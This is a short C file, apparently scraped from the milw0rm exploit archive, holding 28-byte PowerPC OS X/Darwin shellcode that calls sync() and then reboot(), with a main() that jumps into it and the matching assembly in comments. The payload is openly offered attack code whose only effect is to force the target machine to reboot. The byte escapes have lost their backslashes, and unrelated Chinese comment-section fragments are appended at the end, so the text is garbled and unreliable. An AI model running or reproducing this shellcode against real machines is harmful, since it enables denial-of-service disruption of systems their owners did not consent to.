/*
PPC OSX/Darwin Shellcode by B-r00t. 2003.
Does sync() reboot();
See ASM below.
28 Bytes.
*/
char shellcode[] =
"x7cx63x1ax79"
"x39x40x01x70"
"x38x0axfexb4"
"x44xffxffx02"
"x60x60x60x60"
"x38x0axfexc7"
"x44xffxffx02";
int main (void)
{
__asm__("b _shellcode");
}
/*
; PPC OS X / Darwin Shellcode by B-r00t.
; sync() reboot().
; Simply reboots the machine! - Just 4 Fun!
;
.globl _main
.text
_main:
xor. r3, r3, r3
li r10, 368
addi r0, r10, -332
.long 0x44ffff02
.long 0x60606060
addi r0, r10, -313
.long 0x44ffff02
*/
// milw0rm.com [2004-09-26]
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666